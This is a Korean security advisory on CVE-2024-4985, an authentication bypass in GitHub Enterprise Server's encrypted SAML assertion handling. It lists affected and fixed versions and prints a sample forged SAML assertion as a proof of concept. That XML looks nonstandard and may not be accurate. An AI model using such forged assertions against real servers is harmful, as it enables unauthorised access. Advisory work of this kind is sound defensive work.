1. GitHub Enterprise Server (GHES) [1]

- 기업을 위한 소프트웨어 개발, 확장 및 제공을 용이하게 하는 자체 호스팅 플랫폼

 

2. 취약점

[사진 1] CVE-2024-4985 [2]

 

- 취약한 버전의 GHES에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> 익스플로잇에 성공한 공격자는 사전 인증 없이 GHES 인스턴스에 액세스할 수 있음

영향받는버전
- GitHub Enterprise Server 3.9.15 이전 버전
- GitHub Enterprise Server 3.10.12 이전 버전
- GitHub Enterprise Server 3.11.10 이전 버전
- GitHub Enterprise Server 3.12.4 이전 버전

 

2.1 주요 내용

SAML SSO 인증과 선택적 암호화 어설션 기능을 사용하는 GHES 서버는 해당 취약점의 영향 받음 (구체적인 내용 확인 불가)

> GHES가 암호화된 SAML 클레임을 처리하는 방식으로 발생하는 취약성을 이용

> 올바른 사용자 정보를 포함하는 가짜 SAML 클레임을 생성

> GHES가 가짜 SAML 클레임을 처리할 때 서명의 유효성을 올바르게 확인할 수 없어 공격자가 인스턴스에 엑세스 가능

SAML (Security Assertion Markup Language) [3] - 하나의 자격 증명으로 한 번만 로그인하여 여러 앱에 액세스할 수 있도록 해 주는 기술 (Single Sign-On)
- 인증 정보 제공자(Identity Provider, idP)와, 서비스 제공자(Service Provider, SP) 간의 인증 및 인가 데이터를 교환하기 위한 XML 기반의 표준 데이터 포맷
선택적 암호화 어설션 [4] - IdP가 어설션 암호화를 지원하는 경우 인증 프로세스 중 보안 강화를 위해 GitHub Enterprise Server에서 암호화된 어설션을 구성

 

※ 암호화된 어설션은 Default로 비활성화되어 있으며, 다음 2 가지 경우는 취약점의 영향을 받지않음
① 암호화된 어설션 없이 SAML SSO 인증을 사용하는 서버
② SAML SSO를 사용하지 않는 서버

 

2.1 PoC [5]

- hxxps://your-ghes-instance[.]com: 대상 GHES 서버 URL

<Assertion ID="1234567890" IssueInstant="2024-05-21T06:40:00Z" Subject="CN=John Doe,OU=Users,O=Acme Corporation,C=US">
  <Audience>https://your-ghes-instance.com</Audience>
  <SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:assertion:method:bearer">
    <SubjectConfirmationData>
      <NameID Type="urn:oasis:names:tc:SAML:2.0:nameid-type:persistent" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:basic">jdoe</NameID>
    </SubjectConfirmationData>
  </SubjectConfirmation>
  <AuthnStatement AuthnInstant="2024-05-21T06:40:00Z" AuthnContextClassRef="urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef:unspecified">
    <AuthnMethod>urn:oasis:names:tc:SAML:2.0:methodName:password</AuthnMethod>
  </AuthnStatement>
  <AttributeStatement>
    <Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.10">Acme Corporation</Attribute>
    <Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.4">jdoe@acme.com</Attribute>
  </AttributeStatement>
</Assertion>

 

3. 해결방안

- 벤더사 제공 업데이트 적용 [6]

제품명 영향받는 버전 해결 버전
GitHub Enterprise Server 3.9.15 이전 버전 3.9.15 [7]
3.10.12  이전 버전 3.10.12 [8]
3.11.10 이전 버전 3.11.10 [9]
3.12.4 이전 버전 3.12.4 [10]

 

4.참고

[1] https://docs.github.com/en/enterprise-server@3.10/admin/overview/about-github-enterprise-server
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-4985
[3] https://www.microsoft.com/ko-kr/security/business/security-101/what-is-security-assertion-markup-language-saml
[4] https://docs.github.com/en/enterprise-server@3.12/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions
[5] https://github.com/absholi7ly/Bypass-authentication-GitHub-Enterprise-Server
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71445&menuNo=205020
[7] https://docs.github.com/en/enterprise-server@3.9/admin/release-notes#3.9.15
[8] https://docs.github.com/en/enterprise-server@3.10/admin/release-notes#3.10.12
[9] https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.10
[10] https://docs.github.com/en/enterprise-server@3.12/admin/release-notes#3.12.4
[11] https://www.hawk-eye.io/2024/05/cve-2024-4985-github-enterprise-server-authentication-bypass-vulnerability/
[12] https://thehackernews.com/2024/05/critical-github-enterprise-server-flaw.html
[13] https://www.boannews.com/media/view.asp?idx=129975&page=1&kind=1

+ Recent posts